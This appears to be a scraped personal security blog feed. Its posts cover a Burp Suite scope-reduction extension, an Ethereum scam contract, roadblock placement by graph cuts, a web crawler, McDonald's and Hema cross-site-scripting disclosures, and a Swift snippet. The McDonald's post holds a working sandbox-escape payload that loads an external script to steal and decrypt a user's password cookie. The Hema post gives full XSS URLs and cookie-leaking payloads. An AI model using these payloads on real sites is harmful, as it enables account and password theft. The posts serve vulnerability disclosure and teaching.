        console_image(url, qr_size);
    console.groupEnd();
});

An efficiency improvement for Burp Suite

2018-06-21T00:00:00+00:00

In a world where desktop applications are shifting more and more towards web applications, web application security is a rising concern. Manually testing these applications for security vulnerabilities, such as cross-site scripting and SQL injection, is infeasible; as security specialists are scarce. Automated Web Application Vulnerability Scanners, hereinafter referred to as scanners, are tools that scan web applications in an automated way, normally from the outside, to look for these security vulnerabilities.

The advantage of scanners is that they can replace parts of the manual security vulnerability scanning. However, a major disadvantage is that they tend to be inefficient depending on the type of web application that is being scanned. Reviews about scanners by Northwave, a security company based in Nieuwegein, the Netherlands, and the online security community confirm that not all scanners are efficient. They state that in some cases scanners may take up to 36 hours to complete. However, it is not clear why they are inefficient or how the efficiency can be improved. It is important to know that efficiency is essentially just the speed of the scanners. Effectiveness is how many vulnerabilities the scanners find.

“During my graduation internship at Northwave I studied how to improve the efficiency of scanners while maintaining effectiveness. This blog post is a small summary of my graudation thesis. You can read the full thesis here.”

The goal of the study was to create a generic open-source solution that improves the efficiency of scanners while keeping the effectiveness of the scanners at the same level. Three scanners were used to test possible solutions, namely; Burp Suite, Acunetix & NYAWC. These scanners were used to test possible solutions since they all provide functionalities to modify their own behaviour. Testing more than three scanners would simply take too much time.

Research on four key concepts, originated from the intersection of all of the key concepts of the three scanners, indicate that “target scope reduction” can improve the efficiency the most while maintaining effectiveness. Therefore, “target scope reduction” is chosen as the most promising key concept. Although it is easy to manually reduce the target scope, it is more complicated to automate that process since the effectiveness needs to be maintained and automation does not know how to reduce the scope effectively.

Reducing the target scope can be done by ignoring similar HTTP responses. If two HTTP responses have the same HTML structure it is likely that they have the same code flow and therefore the same security vulnerabilities. By measuring the similarity of HTTP responses it is possible to automatically reduce the target scope by removing the similar (and therefore redundant) HTTP responses.

A technology that can be applied to detect similar HTML structures from HTTP responses is graph theory. Graph theory can enable the scanners to detect similar HTTP responses by adding all incoming HTTP responses to the graph except the HTTP responses that have similar aspects as the HTTP responses that are already in the graph. Since scanners do not have access to the code of the web application they are scanning, the effectiveness can never be maintained with a 100% certainty.

The graph theory technology can be integrated into Burp Suite in a user friendly manner as an extension. After all the similar HTTP responses have been detected, the extension enables the user to either start scanning for vulnerabilities on all the unique HTTP requests or to export the unique HTTP requests to a text file and continue scanning for vulnerabilities in a scanner of choice. This makes it a generic open-source solution.

Target scope reduction using graph theory, in the form of a Burp Suite extension, is a user-friendly solution that improves the efficiency of scanners up to 45% while maintaining the effectiveness rate above 87% on average. Maintaining a 100% effectiveness is not always possible since scanners do not have access to the code of web applications they are scanning.

Similar Request Excluder is the name of the final product of this thesis. It used to be ‘GraphWave’, a mix of the words ‘Northwave’ and ‘graph theory’. However, due to requirements from the Burp Suite App Store it was renamed to Similar Request Excluder. Similar Request Excluder was published on the 14^th of May, 2018 and since that day it is being used by security professionals around the globe.

Similar Request Excluder in the BAppStore.

A screenshot of Similar Request Excluder.

Scamming people via Ethereum smart contracts

2018-04-30T00:00:00+00:00

[TL;DR] Using a ‘feature’ in the Solidity programming language it is possible to create smart contracts on the Ethereum blockchain that look completely legit; however, everyone that sends money to the contract can never get it back due to that ‘feature’.

Alright, lets dive right into it. The code snippet below is an Ethereum smart contract written in Solidity. If you do not understand any of those terms, click on the links to get more information.

Before you try to work out how the contract works, let me tell you it’s a scam contract that contains a Solidity ‘feature’ that causes unexpected behaviour. Below the code snippet you can find an extensive explanation of the contract. The actual contract can be found on Etherscan.

pragma solidity ^0.4.23;

contract NumberBetweenZeroAndTen {

    uint256 private secretNumber;
    uint256 public lastPlayed;
    address public owner;
    
    struct Player {
        address addr;
        uint256 ethr;
    }
    
    Player[] players;
    
    constructor() public {
        // On construct set the owner and a random secret number
        owner = msg.sender;
        shuffle();
    }
    
    function guess(uint256 number) public payable {
        // Guessing costs a minimum of 1 ether 
        require(msg.value >= 1 ether);
        
        // Guess must be between zero and ten
        require(number >= 0 && number <= 10);
        
        // Update the last played date
        lastPlayed = now;
        
        // Add player to the players list
        Player player;
        player.addr = msg.sender;
        player.ethr = msg.value;
        players.push(player);
        
        // Payout if guess is correct
        if (number == secretNumber) {
            msg.sender.transfer(this.balance);
        }
        
        // Refresh the secret number
        shuffle();
    }
    
    function shuffle() internal {
        // Randomly set secretNumber with a value between 1 and 10
        secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 10 + 1;
    }

    function kill() public {
        // Enable owner to kill the contract after 24 hours of inactivity
        if (msg.sender == owner && now > lastPlayed + 24 hours) {
            selfdestruct(msg.sender);
        }
    }
}

Explanation

I’ll first explain how one would expect the contract to work.

Someone constructs the contract.
1. The variable owner is set to the sender’s address.
2. The method shuffle is called.
  1. The shuffle method sets secretNumber to a random number from 0 to 10.
A l33t h4x0r finds the smart contract by syncing the chain or by searching Etherscan.
1. He finds out that you can win money if you know secretNumber.
2. There’s a pretty high chance he guesses the number right after a few times, but instead he decides to do something else.
3. Although the secretNumber is a private variable, he knows you can get it by reading the contract’s storage.
4. So he reads the storage and finds out the secretNumber is 6. Bingo!
5. He calls the play method with 6 as number argument (and with 1.2 ether) and expects to get the ether from the contract.

Please note the payable keyword from the play method. It enables people to send ether to the method, which will then automatically be stored in the contract.

The big question is; did the l33t h4x0r outplay the contract’s creator/owner?

The scam

Well, that ‘someone’ that constructed the contract wasn’t just someone. It was a scammer who used a ‘feature’ from Solidity to mislead everyone who played the game. There are at least three ways why people fall for this.

One can keep calling the play method and bet on it that he eventually wins.
One knows that the secretNumber is not really random, since it’s made up of the date and the previous block hash.
1. The person calculates the secretNumber by getting the variables it was made up of.
2. The person calls the play method using that number.
One knows how to read the contract’s storage.
1. The person reads the location of the secretNumber from the storage.
2. The person calls the play method using the number on that location.

Unfortunately none of these methods work.

The ‘feature’

The scammer paid very much attention to the Solidity documentation.

The local variables of struct, array or mapping type reference storage by default. This means they are stored in the contract’s storage.

The Solidity documentation also states that;

The type of the local variable player is Player (stored in storage), but since storage is not dynamically allocated, it has to be assigned from a state variable before it can be used. So no space in storage will be allocated for player, but instead it functions only as an alias for a pre-existing variable in storage.

What will happen is that the compiler interprets player as a storage pointer and will make it point to the storage slot 0 by default. This has the effect that secretNumber (which resides at storage slot 0) is modified by players.push(player).

Please note that I modified the variable names in the quotes above to match the contract.

So to elaborate on this a little bit more. Player player; points to storage slot 0 because it’s an uninitialized storage variable. The uint256 private secretNumber; also points to storage slot 0 because it’s the first variable that is declared in the contract (and it’s also set on construct). This means whenever you change something in player, you will change the secretNumber.

In this case player.addr = msg.sender; is executed right after the Player player; line. This means storage slot 0 gets set to msg.sender. This leads to the fact that whenever you get secretNumber from the storage after that line of code was executed, it will give you the value of msg.sender.

But wait, there’s more

Why don’t we just call the play method with msg.sender as number argument.

In theory this could work. But keep in mind that the play function requires the number to be 10 or lower.

require(number >= 0 && number <= 10);

This means that when your address (msg.sender) is 10 or lower you can win the ether in this contract.

In reality the chance is very very very little that your address is 10 or lower, and therefore you can (almost) never win ether from this contract.

Where does the ether go?

There is a nice kill method that enables the contract’s creator to destruct the contract whenever the last played date is 24 hours ago. The self destruct sends all the money in the contract back to the owner of the contract (the attacker).

Securing Amsterdam against a direct terrorist threat

2017-10-26T00:00:00+00:00

[TL;DR] Using a mathematical model of security it is possible to calculate the position of roadblocks as (cost) efficiently as possible in case of a direct terrorist threat. Dive to the results to see the roadblock placements of Amsterdam during a critical threat level.

The Netherlands uses a system of threat levels that indicate the chance of a terrorist attack. The four ascending threat levels are:

Minimal: an attack is unlikely;
Limited: an attack is somewhat likely;
Substantial: an attack is likely;
Critical: there are very strong indications that an attack will take place.

The critical level can be announced for a specific part of the Netherlands. This usually means several visible security measurements will be taken. One of them could be setting up roadblocks around the specified area to make sure nobody can get in or out by car without passing a roadblock.

Mathematical algorithms like the Ford-Fulkerson’s algorithm can be used to calculate the position and amount of roadblocks around the specified area so as little as possible roadblocks are needed. In this article I will use Amsterdam Central Station as the target of the terrorist attack. An 8 to 12 kilometer zone around the central station will be declared as the safe zone. This zone will not be accessible without passing a roadblock.

From GeoJSON to Graph

Let’s start by downloading the GeoJSON data containing all the information about the roads. For popular cities, the data can be downloaded in IMPOSM format via Mapzen. If the data is not available on Mapzen you can download an XML export from OpenStreetMap, however, you need to convert this data to the GeoJSON/IMPOSM format yourself.

The pseudo code below shows how to create a graph from the GeoJSON data. When rendering this graph it results in a visual representation of the GeoJSON data (see Figure A). I recommend using Python and NetworkX to create the graph (since NetworkX has some cool algorithms that we can use later).

graph = new graph()

for road in json
    previous_coordinate = null

    for coordinate in road
        graph.add_node(coordinate)

        if previous_coordinate:
            graph.add_edge(previous_coordinate, coordinate)

        previous_coordinate = coordinate

Next up is the most important part, creating the super sink (safe zone). To do this, we need to set the target of the terrorist attack. I chose Amsterdam Central Station and an 8 KM radius around it. Every single coordinate (node) that’s in that 8 KM radius must not be added to the graph. Instead, every edge that connects a node outside the safe zone to a node inside the safe zone must be connected to the super sink node. This sounds pretty difficult but it’s actually quite easy. Look at Figure B for a visual representation of the super sink.

Figure A: Visual representation of the GeoJSON data

Figure B: The super sink that represents the safe zone

Figure C: The super source and super sink in one graph

The last thing to do in the graph is creating a super source. This is the same idea as creating a super sink, however, a super source connects all the nodes on the edge of the bounding box to a node (the super source) outside the graph. See Figure C for a visual representation.

Finding the Minimum Cut

The minimum cut is one of the basics of graph theory. If you’re not familiar with it I suggest that you to watch this short video about it. Now to find the minimum cut we can use algorithms like the Ford-Fulkerson algorithm. NetworkX has a built-in method to calculate the minimum node cut.

We need to calculate the minimum node cut from the super source to the super sink. NetworkX will return a set of nodes (as minimum as possible) that disconnect the source from the sink. We are going to use this set of nodes as our roadblocks.

To use them as roadblocks I created a new graph in NetworkX on top of the existing one. However, I used a bigger size for the nodes and a red color so they are clearly visible.

Results

Now that we found the minimum cut set (a set of nodes) we can add them to our graph to see where the roadblocks would be placed. In the visual representations below I used a black graph (containing all nodes and edges) as the background, a green graph (containing all nodes and edges inside the safe zone) and the earlier described red graph (which contains all the nodes from the minimum cut set).

8KM safe zone (needs 54 roadblocks)

12KM safe zone (needs 57 roadblocks)

And that’s how you zone control Amsterdam. Please note that the OpenStreetMap data I used could be wrong or incomplete. Data from OpenStreetMap should not be used in real life situations.

A web application crawler for bug bounty hunting

2017-04-28T00:00:00+00:00

Not Your Average Web Crawler (N.Y.A.W.C) is a web application crawler for vulnerability scanning. It crawls every request in a specified scope and keeps track of the request/response data. I developed N.Y.A.W.C because I needed a good open-source Python crawler that enabled me to modify requests on the go for my AngularJS CSTI scanner.

Crawling flow

The crawler is multi-threaded but you don’t have to worry about any of the multi threading yourself. To give you a better idea of the crawling flow I added the diagram below.

You can define your startpoint (a request) and the crawling scope and then start the crawler.
The crawler repeatedly starts the first request in the queue until max threads is reached.
The crawler adds all requests found in the response to the end of the queue (except duplicates).
The crawler goes back to step #2 to spawn new requests repeatedly until max threads is reached.

Please note that if the queue is empty and all crawler threads are finished, the crawler will stop.

There are several hooks in the code that you can use to, for example, tamper form data before it is posted. Check the documentation for more information about those hooks.

Installation

First make sure you’re on Python 2.7/3.3 or higher. After that install N.Y.A.W.C via PyPi using the command below.

pip install --upgrade nyawc

The kitchen sink code sample below can be used to get the crawler up and running within a few minutes. If you like it, check out the documentation to get started on implementing your own exploits.

# -*- coding: utf-8 -*-

# MIT License
#
# Copyright (c) 2017 Tijme Gommers
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

from nyawc.Options import Options
from nyawc.QueueItem import QueueItem
from nyawc.Crawler import Crawler
from nyawc.CrawlerActions import CrawlerActions
from nyawc.http.Request import Request
from requests.auth import HTTPBasicAuth

def cb_crawler_before_start():
    print("Crawler started.")

def cb_crawler_after_finish(queue):
    print("Crawler finished.")
    print("Found " + str(len(queue.get_all(QueueItem.STATUS_FINISHED))) + " requests.")

    for queue_item in queue.get_all(QueueItem.STATUS_FINISHED).values():
        print("[" + queue_item.request.method + "] " + queue_item.request.url + " (PostData: " + str(queue_item.request.data) + ")")

def cb_request_before_start(queue, queue_item):
    # return CrawlerActions.DO_SKIP_TO_NEXT
    # return CrawlerActions.DO_STOP_CRAWLING

    return CrawlerActions.DO_CONTINUE_CRAWLING

def cb_request_after_finish(queue, queue_item, new_queue_items):
    percentage = str(int(queue.get_progress()))
    total_requests = str(queue.count_total)

    print("At " + percentage + "% of " + total_requests + " requests ([" + str(queue_item.response.status_code) + "] " + queue_item.request.url + ").")

    # return CrawlerActions.DO_STOP_CRAWLING
    return CrawlerActions.DO_CONTINUE_CRAWLING

def cb_request_in_thread_before_start(queue_item):
    pass

def cb_request_in_thread_after_finish(queue_item):
    pass

def cb_request_on_error(queue_item, message):
    print("[error] " + message)

def cb_form_before_autofill(queue_item, elements, form_data):
    # return CrawlerActions.DO_NOT_AUTOFILL_FORM

    return CrawlerActions.DO_AUTOFILL_FORM

def cb_form_after_autofill(queue_item, elements, form_data):
    pass

# Declare the options
options = Options()

# Callback options (https://tijme.github.io/not-your-average-web-crawler/latest/options_callbacks.html)
options.callbacks.crawler_before_start = cb_crawler_before_start # Called before the crawler starts crawling. Default is a null route.
options.callbacks.crawler_after_finish = cb_crawler_after_finish # Called after the crawler finished crawling. Default is a null route.
options.callbacks.request_before_start = cb_request_before_start # Called before the crawler starts a new request. Default is a null route.
options.callbacks.request_after_finish = cb_request_after_finish # Called after the crawler finishes a request. Default is a null route.
options.callbacks.request_in_thread_before_start = cb_request_in_thread_before_start # Called in the crawling thread (when it started). Default is a null route.
options.callbacks.request_in_thread_after_finish = cb_request_in_thread_after_finish # Called in the crawling thread (when it finished). Default is a null route.
options.callbacks.request_on_error = cb_request_on_error # Called if a request failed. Default is a null route.
options.callbacks.form_before_autofill = cb_form_before_autofill # Called before the crawler autofills a form. Default is a null route.
options.callbacks.form_after_autofill = cb_form_after_autofill # Called after the crawler autofills a form. Default is a null route.

# Scope options (https://tijme.github.io/not-your-average-web-crawler/latest/options_crawling_scope.html)
options.scope.protocol_must_match = False # Only crawl pages with the same protocol as the startpoint (e.g. only https). Default is False.
options.scope.subdomain_must_match = True # Only crawl pages with the same subdomain as the startpoint. If the startpoint is not a subdomain, no subdomains will be crawled. Default is True.
options.scope.hostname_must_match = True # Only crawl pages with the same hostname as the startpoint (e.g. only `finnwea`). Default is True.
options.scope.tld_must_match = True # Only crawl pages with the same tld as the startpoint (e.g. only `.com`). Default is True.
options.scope.max_depth = None # The maximum search depth. 0 only crawls the start request. 1 will also crawl all the requests found on the start request. 2 goes one level deeper, and so on. Default is None (unlimited).
options.scope.request_methods = [
    # The request methods to crawl. Default is all request methods
    Request.METHOD_GET,
    Request.METHOD_POST,
    Request.METHOD_PUT,
    Request.METHOD_DELETE,
    Request.METHOD_OPTIONS,
    Request.METHOD_HEAD
]

# Identity options (https://tijme.github.io/not-your-average-web-crawler/latest/options_crawling_identity.html)
options.identity.auth = HTTPBasicAuth('user', 'pass') # Or any other authentication (http://docs.python-requests.org/en/master/user/authentication/). Default is None.
options.identity.cookies.set(name='tasty_cookie', value='yum', domain='finnwea.com', path='/cookies')
options.identity.cookies.set(name='gross_cookie', value='blech', domain='finnwea.com', path='/elsewhere')
options.identity.proxies = {
    # No authentication
    # 'http': 'http://host:port',
    # 'https': 'http://host:port',

    # Basic authentication
    # 'http': 'http://user:pass@host:port',
    # 'https': 'https://user:pass@host:port',

    # SOCKS
    # 'http': 'socks5://user:pass@host:port',
    # 'https': 'socks5://user:pass@host:port'
}
options.identity.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
})

# Performance options (https://tijme.github.io/not-your-average-web-crawler/latest/options_performance.html)
options.performance.max_threads = 20 # The maximum amount of simultaneous threads to use for crawling. Default is 40.
options.performance.request_timeout = 15 # The request timeout in seconds (throws an exception if exceeded). Default is 30.

# Routing options (https://tijme.github.io/not-your-average-web-crawler/latest/options_routing.html)
options.routing.minimum_threshold = 4 # The minimum amount of requests to crawl (matching a certain route) before ignoring the rest. Default is 20.
options.routing.routes = [ 
    # The regular expressions that represent routes that should not be cralwed more times than the minimum treshold. Default is an empty array.
    "^(https?:\/\/)?(www\.)?finnwea\.com\/blog\/[^\n \/]+\/$" # Only crawl /blog/{some-blog-alias} 4 times.
]

# Misc options (https://tijme.github.io/not-your-average-web-crawler/latest/options_misc.html)
options.misc.debug = False # If debug is enabled extra information will be logged to the console. Default is False.
options.misc.verify_ssl_certificates = True # If verification is enabled all SSL certificates will be checked for validity. Default is True.
options.misc.trusted_certificates = None # You can pass the path to a CA_BUNDLE file (.pem) or directory with certificates of trusted CAs. Default is None.

crawler = Crawler(options)
crawler.start_with(Request("https://finnwea.com/"))

Stealing passwords from McDonald’s users

2017-01-06T00:00:00+00:00

By abusing an insecure cryptographic storage vulnerability and a reflected server cross-site-scripting vulnerability it is possible to steal and decrypt the password from a McDonald’s user. Besides that, other personal details like the user’s name, address & contact details can be stolen too.

Proof of Concept

Reflected XSS through AngularJS sandbox escape

McDonalds.com contains a search page which reflects the value of the search parameter (q) in the source of the page. So when we search on for example ***********-test-reflected-test-***********, the response will look like this:

McDonald’s uses AngularJS so we can try to print the unique scope ID using the search value. We can do this by changing the q parameter value to {{$id}}. As we can see {{$id}} gets converted to 9 the unique ID (monotonically increasing) of the AngularJS scope.

Using {{alert(1)}} as value wouldn’t work because all AngularJS code is executed in a sandbox. However, the AngularJS sandbox isn’t really safe. In fact, it shouldn’t be trusted at all. It even got removed in version 1.6 because it gave a false sense of security. PortSwigger created a nice blog post about escaping the AngularJS sandbox.

We first need to find the AngularJS version of McDonalds.com. We can do this by executing angular.version in the console.

The version is 1.5.3, so the sandbox escape we need is {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}. We can use this sandbox escape as search value, which results in an alert.

We can even load external JavaScript files using the following sandbox escape, which results in the alert below.

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(https://tij.me/snippets/external-alert.js)');}}

The JavaScript can be loaded from another domain since McDonald’s doesn’t exclude it using the Content-Security-Policy header.

Proof of Concept

Stealing the user’s password

Another thing I noticed on McDonalds.com was their sign in page which contained a very special checkbox. Normally you can check “Remember me” when signing in, but the McDonald’s sign in page gives us the option to remember the password.

I searched through all the JavaScript for the keyword password and I found some interesting code that decrypts the password.

If there’s one thing you shouldn’t do, it’s decrypting passwords client side (or even storing passwords using two-way encryption). I tried to run the code myself, and it worked!

The penc value is a cookie that is stored for a year. LOL!

McDonald’s uses CryptoJS to encrypt and decrypt sensitive data. They use the same key and iv for every user, which means I only have to steal the penc cookie to decrypt someone’s password.

I tried decrypting my password on the search page using a malicious search payload, but it didn’t work. Since the AngularJS sandbox escape payload replaces the charAt method with the join method, the getCookie method failed. The getCookie method tries to trim whitespaces from cookie values by checking if charAt(0) is a whitespace. In the images below you can see .charAt(0) returns a string joined by 0 if executed on the search page.

I wrote some JavaScript that loads the homepage in an iframe and steals the cookie using that iframe. Since the payload is executed multiple times because of the sandbox escape, I keep track of the variable xssIsExecuted, so that the payload is only executed once.

if (!window.xssIsExecuted) {
    window.xssIsExecuted = true;

    var iframe = $('<iframe src="https://www.mcdonalds.com/us/en-us.html"></iframe>');
    $('body').append(iframe);

    iframe.on('load', function() {
        var penc = iframe[0].contentWindow.getCookie('penc');
        alert(iframe[0].contentWindow.decrypt(penc));
    });
}

We can now use the following sandbox escape, which results in my password in an alert box!

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(https://tij.me/snippets/mcdonalds-password-stealer.js)');}}

That was all pretty easy. I tried to contact McDonald’s multiple times to report the issue, but unfortunately they didn’t respond, which is why I decided to disclose the vulnerability.

Cross-site-scripting on one of the largest Dutch franchisors

2016-12-20T00:00:00+00:00

By abusing a sensitive data exposure vulnerability it is possible to steal data from a Hema user. If the user is signed in, data like the user’s name and email can be stolen using cross frame scripting. Besides that, a malicious JavaScript payload can be inserted into the local storage which causes DOM-based XSS.

Please note that I used FireFox to test this vulnerability since browsers like Chrome, Safari and Edge have built in XSS auditors, which filter some of the reflected XSS.

Proof of Concept (reflected XSS)

While examining hema.nl I found some interesting XHR calls. One of them was ListerQuickView.aspx, which contained a lot of GET parameters.

http://www.hema.nl/Pages/Fredhopper/ListerQuickView.aspx?culture=nl-NL&nextProductId=pnl_60000199&prevProductId=&productId=pnl_60000198&productSku=12345

I tried to inject JavaScript in all the parameters but it didn’t really work. Especially because they blocked all requests if the URL contained a < sign followed by another character. The value of one of the parameters, productSku, was used as an attribute value. This made it possible to execute JavaScript using the onmousemove event. Unfortunately the onload event couldn’t be used since the element it got injected in was a div.

You can find the payload I used below. The inline CSS causes the div to overlap all content (this increases the chance that onmousemove is triggered). The parent.postMessage passes the cookie to the parent frame on mouse move.

&productSku=tes" style="width:100%;height:100%;position:absolute;top:0;left:0;" onmousemove="parent.postMessage(cookie, '*')">as

Which resulted in the following HTML:

We can now place this piece of art in an iframe, which results in cross frame scripting.

Proof of Concept (Stored DOM-based XSS)

Making it “Stored DOM-based XSS” is a bit more difficult. I divided it into two steps, bypassing the input restrictions and inserting the JavaScript payload into the local storage.

Bypassing Hema’s input restrictions

The DOM-based XSS vulnerability contains a little bit more code. Lets use the previous payload and edit it to look like this:

data-message="message" style="width:100%;height:100%;position:absolute;top:0;left:0;" onmousemove="eval(location.hash.substring(1))"

This code executes the JavaScript from the location.hash. I used location.hash since hema.nl blocks a lot of characters, like < and {, and the location.hash will not be included in the request, so hema.nl will never know about it.

In my location hash I wrote #window.addEventListener(arguments[0].originalTarget.attributes[4].value,function(event){eval(event.data)}).

I use arguments[0].originalTarget.attributes[4].value (where arguments[0] is the onmousemove event) to get the value of the fourth attribute of our div, which is the string message. I couldn’t just add the string "message" to addEventListener since quotes in the hash are converted to %22, which results in an unexpected % character.

So all this code basically sets a listener for messages on mouse move. Using cross frame scripting we can now execute all the code we want in the hema.nl iframe using postMessage.

document.getElementById('hema').contentWindow.postMessage('alert(document.cookie)', '*')

Which results in:

This is the full URL that I used:

http://www.hema.nl/Pages/Fredhopper/ListerQuickView.aspx?culture=nl-NL&nextProductId=pnl_60000199&prevProductId=&productId=pnl_60000198&productSku=tes%22%20data-message=%22message%22%20style=%22width:100%;height:100%;position:absolute;top:0;left:0;%22%20onmousemove=%22eval(location.hash.substring(1))%22%20data-test=%22as#window.addEventListener(arguments[0].originalTarget.attributes[4].value,function(event){eval(event.data)});

Making it “Stored DOM-based XSS”

Hema stores some interesting JSON in the local storage. For example, they store all the products that I added to my favorites.

A product that I added to my favorites looks like this:

{
        "imgUrl":"https://images.hema.nl/products/mok-60000198-normal.jpg",
        "imgUrlX2":"https://images.hema.nl/products/mok-60000198-normal_twox.jpg",
        "name":"mok",
        "productId":"pnl_60000198",
        "price":"3,-",
}

And ofcourse, using our postMessage, we can edit it so it looks like this (note the onload in the imgUrl):

{
        "imgUrl":"https://images.hema.nl/products/mok-60000198-normal.jpg\" onload=\"alert(document.cookie)",
        "imgUrlX2":"https://images.hema.nl/products/mok-60000198-normal_twox.jpg",
        "name":"mok",
        "productId":"pnl_60000198",
        "price":"3,-",
}

Hema loads the favorites and shows the image without encoding the URL. Which means every time the victim navigates to hema.nl an alert will pop up.

So there you go, Stored DOM-based XSS!

Domains

www.hema.nl (vulnerable)
~~www.hema.fr~~ (protected by CloudFlare)
~~www.hema.be~~ (not vulnerable)
~~www.hemashop.com~~ (not vulnerable)

Timeline

Date	Activity
11 Dec 2016 18:43:34 GMT	Reported the vulnerability to Hema.
12 Dec 2016 09:23:21 GMT	Hema is investigating the vulnerability.
15 Dec 2016 13:54:56 GMT	Hema confirmed the vulnerability. Hema will be releasing a fix in week 51.
20 Dec 2016 19:11:44 GMT	Hema fixed the vulnerability.
20 Dec 2016 19:14:41 GMT	Public disclosure.

Adding a placeholder to a UITextView in Swift

2016-12-05T00:00:00+00:00

Swift doesn’t support placeholders in UITextView’s natively, so here is the proper way to do it yourself in under 1 minute. You can checkout the preview GIF on Twitter!

Add UITextViewPlaceholder.swift to your project
Set the placeholder attribute of your UITextView (e.g. textView.placeholder = "Message...")

UITextViewPlaceholder.swift (GitHub Gist - latest version)

//
//  UITextViewPlaceholder.swift
//  TextViewPlaceholder
//
//  Copyright (c) 2017 Tijme Gommers <tijme@finnwea.com>
//
//  Permission is hereby granted, free of charge, to any person obtaining a copy
//  of this software and associated documentation files (the "Software"), to deal
//  in the Software without restriction, including without limitation the rights
//  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
//  copies of the Software, and to permit persons to whom the Software is
//  furnished to do so, subject to the following conditions:
//
//  The above copyright notice and this permission notice shall be included in all
//  copies or substantial portions of the Software.
//
//  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
//  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
//  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
//  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
//  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
//  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
//  SOFTWARE.

import UIKit

/// Extend UITextView and implemented UITextViewDelegate to listen for changes
extension UITextView: UITextViewDelegate {
    
    /// Resize the placeholder when the UITextView bounds change
    override open var bounds: CGRect {
        didSet {
            self.resizePlaceholder()
        }
    }
    
    /// The UITextView placeholder text
    public var placeholder: String? {
        get {
            var placeholderText: String?
            
            if let placeholderLabel = self.viewWithTag(100) as? UILabel {
                placeholderText = placeholderLabel.text
            }
            
            return placeholderText
        }
        set {
            if let placeholderLabel = self.viewWithTag(100) as! UILabel? {
                placeholderLabel.text = newValue
                placeholderLabel.sizeToFit()
            } else {
                self.addPlaceholder(newValue!)
            }
        }
    }
    
    /// When the UITextView did change, show or hide the label based on if the UITextView is empty or not
    ///
    /// - Parameter textView: The UITextView that got updated
    public func textViewDidChange(_ textView: UITextView) {
        if let placeholderLabel = self.viewWithTag(100) as? UILabel {
            placeholderLabel.isHidden = !self.text.isEmpty
        }
    }
    
    /// Resize the placeholder UILabel to make sure it's in the same position as the UITextView text
    private func resizePlaceholder() {
        if let placeholderLabel = self.viewWithTag(100) as! UILabel? {
            let labelX = self.textContainer.lineFragmentPadding
            let labelY = self.textContainerInset.top - 2
            let labelWidth = self.frame.width - (labelX * 2)
            let labelHeight = placeholderLabel.frame.height

            placeholderLabel.frame = CGRect(x: labelX, y: labelY, width: labelWidth, height: labelHeight)
        }
    }
    
    /// Adds a placeholder UILabel to this UITextView
    private func addPlaceholder(_ placeholderText: String) {
        let placeholderLabel = UILabel()
        
        placeholderLabel.text = placeholderText
        placeholderLabel.sizeToFit()
        
        placeholderLabel.font = self.font
        placeholderLabel.textColor = UIColor.lightGray
        placeholderLabel.tag = 100
        
        placeholderLabel.isHidden = !self.text.isEmpty
        
        self.addSubview(placeholderLabel)
        self.resizePlaceholder()
        self.delegate = self
    }
    
}